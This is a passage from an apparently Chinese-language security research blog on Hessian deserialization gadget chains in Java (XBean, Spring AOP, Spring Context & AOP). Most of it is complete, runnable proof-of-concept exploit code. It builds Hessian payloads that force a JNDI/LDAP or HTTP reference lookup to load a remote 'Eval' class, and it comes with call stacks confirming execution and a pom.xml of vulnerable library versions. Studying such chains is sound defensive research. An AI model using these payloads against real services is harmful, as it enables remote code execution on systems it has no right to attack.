at com.sun.syndication.feed.impl.EqualsBean.beanHashCode(EqualsBean.java:193)
at com.sun.syndication.feed.impl.EqualsBean.hashCode(EqualsBean.java:176)
at java.util.HashMap.hash(HashMap.java:338)
at java.util.HashMap.put(HashMap.java:611)
at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114)
at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:577)
at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2093)
at org.hessian.gadget.romeTemplates.unserialize(romeTemplates.java:67)
at org.hessian.gadget.romeTemplates.main(romeTemplates.java:47)
|
XBean
其实学 resin 反序列化的时候瞄了一眼这个链子,emm还是没能偷懒吗,oh nei gai
主要就是org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding.getObject + https://baozongwi.xyz/p/java-rome-deserialization/#hotswappabletargetsourcepoc
当我们到了XString#equals之后可以触发任意的 toString 方法,这里是触发ContextUtil.ReadOnlyBinding但是这个类继承 binding,所以是触发到了binding#toString
1
2
3
| public String toString() {
return super.toString() + ":" + getObject();
}
|
隐式触发ReadOnlyBinding#getObject
1
2
3
4
5
6
7
| public Object getObject() {
try {
return ContextUtil.resolve(this.value, this.getName(), (Name)null, this.context);
} catch (NamingException e) {
throw new RuntimeException(e);
}
}
|
接着触发到ContextUtil#resolve就和 resin-Qname 链一样了,并且使用的碰撞方式与之前不同,直接使用 HotSwappableTargetSource 进行碰撞
poc 如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
| package org.hessian.gadget;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.apache.xbean.naming.context.WritableContext;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.HashMap;
import java.util.Hashtable;
public class XBeanPoc {
public static void main(String[] args) throws Exception {
String refAddr = "http://127.0.0.1:8000/";
String refClassName = "Eval";
Reference ref = new Reference(refClassName, refClassName, refAddr);
WritableContext writableContext = new WritableContext();
String classname = "org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding";
Object readOnlyBinding = Class.forName(classname).getDeclaredConstructor(String.class, Object.class, Context.class).newInstance("aaa", ref, writableContext);
XString xString = new XString("bbb");
HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource(readOnlyBinding);
HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource(xString);
HashMap hashMap = new HashMap();
hashMap.put(targetSource1, "111");
hashMap.put(targetSource2, "222");
// HashMap<Object, Object> map1 = new HashMap<>();
// HashMap<Object, Object> map2 = new HashMap<>();
// map1.put("yy", xString);
// map1.put("zZ", readOnlyBinding);
// map2.put("zZ", xString);
// map2.put("yy", readOnlyBinding);
//
// Hashtable<Object, Object> table = new Hashtable<>();
// table.put(map1, "1");
// table.put(map2, "2");
// byte[] data = serialize(table);
byte[] data = serialize(hashMap);
unserialize(data);
}
private static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(obj);
hessian2Output.flush();
return baos.toByteArray();
}
private static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessianInput = new Hessian2Input(bais);
return hessianInput.readObject();
}
}
|
调用栈如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| at Eval.<clinit>(Eval.java:12)
at java.lang.Class.forName0(Class.java:-1)
at java.lang.Class.forName(Class.java:348)
at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:72)
at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:87)
at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:158)
at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319)
at org.apache.xbean.naming.context.ContextUtil.resolve(ContextUtil.java:73)
at org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding.getObject(ContextUtil.java:204)
at javax.naming.Binding.toString(Binding.java:192)
at com.sun.org.apache.xpath.internal.objects.XString.equals(XString.java:392)
at org.springframework.aop.target.HotSwappableTargetSource.equals(HotSwappableTargetSource.java:103)
at java.util.HashMap.putVal(HashMap.java:634)
at java.util.HashMap.put(HashMap.java:611)
at org.hessian.gadget.XBeanPoc.main(XBeanPoc.java:34)
|
Spring AOP
学习 XBean Gadget 知道HotSwappableTargetSource#equals可以触发任意方法的 equals 方法,而在这条链子中就是AbstractPointcutAdvisor#equals
1
2
3
4
5
6
7
8
9
10
| public boolean equals(Object other) {
if (this == other) {
return true;
} else if (!(other instanceof PointcutAdvisor)) {
return false;
} else {
PointcutAdvisor otherAdvisor = (PointcutAdvisor)other;
return ObjectUtils.nullSafeEquals(this.getAdvice(), otherAdvisor.getAdvice()) && ObjectUtils.nullSafeEquals(this.getPointcut(), otherAdvisor.getPointcut());
}
}
|
使用 ObjectUtils.nullSafeEquals 方法比较当前对象与 otherAdvisor 的 advice 和 pointcut 属性,然后触发 getAdvice 和 getPointcut 方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
| public static boolean nullSafeEquals(@Nullable Object o1, @Nullable Object o2) {
if (o1 == o2) {
return true;
} else if (o1 != null && o2 != null) {
if (o1.equals(o2)) {
return true;
} else {
return o1.getClass().isArray() && o2.getClass().isArray() ? arrayEquals(o1, o2) : false;
}
} else {
return false;
}
}
|
要满足两个 AbstractPointcutAdvisor 对象相等,就是在对比其 Pointcut 切点和 Advice 是否为同一个。现在需要在 AbstractPointcutAdvisor 子类中寻找可用的 getAdvice\getPointcut 方法,发现AbstractBeanFactoryPointcutAdvisor#getAdvice
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| public Advice getAdvice() {
Advice advice = this.advice;
if (advice != null) {
return advice;
} else {
Assert.state(this.adviceBeanName != null, "'adviceBeanName' must be specified");
Assert.state(this.beanFactory != null, "BeanFactory must be set to resolve 'adviceBeanName'");
if (this.beanFactory.isSingleton(this.adviceBeanName)) {
advice = (Advice)this.beanFactory.getBean(this.adviceBeanName, Advice.class);
this.advice = advice;
return advice;
} else {
synchronized(this.adviceMonitor) {
advice = this.advice;
if (advice == null) {
advice = (Advice)this.beanFactory.getBean(this.adviceBeanName, Advice.class);
this.advice = advice;
}
return advice;
}
}
}
}
|
会触发到 getBean 方法,SimpleJndiBeanFactory#getBean可以触发 lookup 方法,可以打JNDI注入


AbstractBeanFactoryPointcutAdvisor 是一个抽象类,不能直接实例化。使用它的具体实现类 DefaultBeanFactoryPointcutAdvisor,AbstractPointcutAdvisor也是一个抽象类,其实现类为AsyncAnnotationAdvisor,最终 poc 如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
| package org.hessian.gadget;
import com.caucho.hessian.io.*;
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import org.springframework.scheduling.annotation.AsyncAnnotationAdvisor;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;
public class springAopExp {
public static void main(String[] args) throws Exception {
String url = "ldap://127.0.0.1:1389/#Eval";
SimpleJndiBeanFactory beanFactory = new SimpleJndiBeanFactory();
beanFactory.setShareableResources(url);
DefaultBeanFactoryPointcutAdvisor advisor1 = new DefaultBeanFactoryPointcutAdvisor();
advisor1.setAdviceBeanName(url);
advisor1.setBeanFactory(beanFactory);
AsyncAnnotationAdvisor advisor2 = new AsyncAnnotationAdvisor();
HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource("1");
HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource("2");
HashMap innerMap = new HashMap();
innerMap.put(targetSource1, "aaa");
innerMap.put(targetSource2, "bbb");
setFieldValue(targetSource1, "target", advisor1);
setFieldValue(targetSource2, "target", advisor2);
HashMap outerMap = new HashMap();
outerMap.put(innerMap, "ccc");
byte[] data=serialize(outerMap);
unserialize(data);
}
private static void setFieldValue(Object obj, String field, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, value);
}
private static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(obj);
hessian2Output.flush();
return baos.toByteArray();
}
private static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessianInput = new Hessian2Input(bais);
return hessianInput.readObject();
}
}
|
调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:178)
at org.springframework.jndi.JndiLocatorSupport.lookup(JndiLocatorSupport.java:96)
at org.springframework.jndi.support.SimpleJndiBeanFactory.doGetSingleton(SimpleJndiBeanFactory.java:220)
at org.springframework.jndi.support.SimpleJndiBeanFactory.getBean(SimpleJndiBeanFactory.java:113)
at org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor.getAdvice(AbstractBeanFactoryPointcutAdvisor.java:116)
at org.springframework.aop.support.AbstractPointcutAdvisor.equals(AbstractPointcutAdvisor.java:76)
at org.springframework.aop.target.HotSwappableTargetSource.equals(HotSwappableTargetSource.java:104)
at java.util.HashMap.putVal(HashMap.java:634)
at java.util.HashMap.put(HashMap.java:611)
at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114)
at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:573)
at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2093)
at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114)
at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:577)
at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2093)
at org.hessian.gadget.springAopExp.unserialize(springAopExp.java:62)
at org.hessian.gadget.springAopExp.main(springAopExp.java:42)
|
Spring Context & AOP
AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder 的 toString 方法,会打印 order 属性,调用 advisor 的 getOrder 方法。

需要找到类同时实现了 Advisor 和 Ordered 接口,于是找到了 AspectJPointcutAdvisor ,这个类的 getOrder 方法调用 AbstractAspectJAdvice 的 getOrder 方法。

接着会触发 AspectInstanceFactory 的 getOrder 方法,但是它是个接口,其实现类为 BeanFactoryAspectInstanceFactory

1
2
3
4
5
6
7
8
| public int getOrder() {
Class<?> type = this.beanFactory.getType(this.name);
if (type != null) {
return Ordered.class.isAssignableFrom(type) && this.beanFactory.isSingleton(this.name) ? ((Ordered)this.beanFactory.getBean(this.name)).getOrder() : OrderUtils.getOrder(type, Integer.MAX_VALUE);
} else {
return Integer.MAX_VALUE;
}
}
|
可以触发到 getType 方法,依旧使用 SimpleJndiBeanFactory
1
2
3
4
5
6
7
8
9
10
| @Nullable
public Class<?> getType(String name) throws NoSuchBeanDefinitionException {
try {
return this.doGetType(name);
} catch (NameNotFoundException var3) {
throw new NoSuchBeanDefinitionException(name, "not found in JNDI environment");
} catch (NamingException var4) {
return null;
}
}
|
查看 doGetType 方法

可以触发 lookup 方法,但是这里有一些需要注意的点,Spring框架的许多类会在构造方法中进行安全校验或初始化操作,所以这里用到一个方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| // 创建实例但是不触发构造方法(避免有防御代码)
public static <T> T createWithoutConstructor(Class<T> clazz) throws Exception {
return createWithConstructor(clazz, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> targetClass,
Class<? super T> constructorClass,
Class<?>[] argTypes,
Object[] args) throws Exception {
Constructor<? super T> templateCons = constructorClass.getDeclaredConstructor(argTypes);
templateCons.setAccessible(true);
Constructor<?> fakeCons = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(targetClass, templateCons);
fakeCons.setAccessible(true);
return (T) fakeCons.newInstance(args);
}
|
而且使用 getField 方法,而不是直接 getDeclaredField,这样可以从父类去查找,然后再用 Xstring 串起来即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
| package org.hessian.gadget;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
public class springConetextAopExp {
public static void main(String[] args) throws Exception {
String url = "ldap://127.0.0.1:1389/#Eval";
SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
AspectInstanceFactory beanFactoryAspectInstanceFactory = createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
setFieldValue(beanFactoryAspectInstanceFactory, "beanFactory", simpleJndiBeanFactory);
setFieldValue(beanFactoryAspectInstanceFactory, "name", url);
AbstractAspectJAdvice aspectJAroundAdvice = createWithoutConstructor(AspectJAroundAdvice.class);
setFieldValue(aspectJAroundAdvice, "aspectInstanceFactory", beanFactoryAspectInstanceFactory);
AspectJPointcutAdvisor aspectJPointcutAdvisor = createWithoutConstructor(AspectJPointcutAdvisor.class);
setFieldValue(aspectJPointcutAdvisor, "advice", aspectJAroundAdvice);
String PartiallyComparableAdvisorHolder = "org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder";
Class<?> aClass = Class.forName(PartiallyComparableAdvisorHolder);
Object partially = createWithoutConstructor(aClass);
setFieldValue(partially, "advisor", aspectJPointcutAdvisor);
HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource(partially);
HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource(new XString("aaa"));
HashMap hashMap = new HashMap();
hashMap.put(targetSource1, "aaa");
hashMap.put(targetSource2, "bbb");
byte[] data =serialize(hashMap);
unserialize(data);
}
private static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(obj);
hessian2Output.flush();
return baos.toByteArray();
}
private static Object unserialize(byte[] bytes) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessianInput = new Hessian2Input(bais);
return hessianInput.readObject();
}
// 创建实例但是不触发构造方法(避免有防御代码)
public static <T> T createWithoutConstructor(Class<T> clazz) throws Exception {
return createWithConstructor(clazz, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> targetClass,
Class<? super T> constructorClass,
Class<?>[] argTypes,
Object[] args) throws Exception {
Constructor<? super T> templateCons = constructorClass.getDeclaredConstructor(argTypes);
templateCons.setAccessible(true);
Constructor<?> fakeCons = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(targetClass, templateCons);
fakeCons.setAccessible(true);
return (T) fakeCons.newInstance(args);
}
private static void setFieldValue(Object obj, String field, Object value) throws Exception {
Field f = getField(obj.getClass(),field);
f.setAccessible(true);
f.set(obj, value);
}
private static Field getField(Class<?> clazz, String fieldName) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if (field != null) return field;
} catch (NoSuchFieldException e) {
if (clazz.getSuperclass() != null) {
return getField(clazz.getSuperclass(), fieldName);
}
}
throw new NoSuchFieldException(fieldName);
}
}
|
调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:156)
at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:178)
at org.springframework.jndi.JndiLocatorSupport.lookup(JndiLocatorSupport.java:96)
at org.springframework.jndi.support.SimpleJndiBeanFactory.doGetType(SimpleJndiBeanFactory.java:236)
at org.springframework.jndi.support.SimpleJndiBeanFactory.getType(SimpleJndiBeanFactory.java:193)
at org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory.getOrder(BeanFactoryAspectInstanceFactory.java:136)
at org.springframework.aop.aspectj.AbstractAspectJAdvice.getOrder(AbstractAspectJAdvice.java:223)
at org.springframework.aop.aspectj.AspectJPointcutAdvisor.getOrder(AspectJPointcutAdvisor.java:81)
at org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder.toString(AspectJAwareAdvisorAutoProxyCreator.java:151)
at com.sun.org.apache.xpath.internal.objects.XString.equals(XString.java:392)
at org.springframework.aop.target.HotSwappableTargetSource.equals(HotSwappableTargetSource.java:104)
at java.util.HashMap.putVal(HashMap.java:634)
at java.util.HashMap.put(HashMap.java:611)
at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114)
at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:577)
at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2093)
at org.hessian.gadget.springConetextAopExp.unserialize(springConetextAopExp.java:66)
at org.hessian.gadget.springConetextAopExp.main(springConetextAopExp.java:51)
|
完整的 pom.xml 如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
| <?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>TwiceReadObject</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<spring.version>5.0.0.RELEASE</spring.version>
</properties>
<dependencies>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>resin</artifactId>
<version>4.0.64</version>
<exclusions>
<exclusion>
<groupId>com.caucho</groupId>
<artifactId>javaee-16</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.7</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjrt</artifactId>
<version>1.9.7</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-naming</artifactId>
<version>4.26</version>
</dependency>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.66</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
<scope>provided</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<excludes>
<exclude>org/example/resin/**</exclude>
</excludes>
</configuration>
</plugin>
</plugins>
</build>
</project>
|
https://xz.aliyun.com/news/17603
https://www.javasec.org/java-vuls/Hessian.html
https://changeyourway.github.io/2025/02/20/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
https://goodapple.top/archives/1193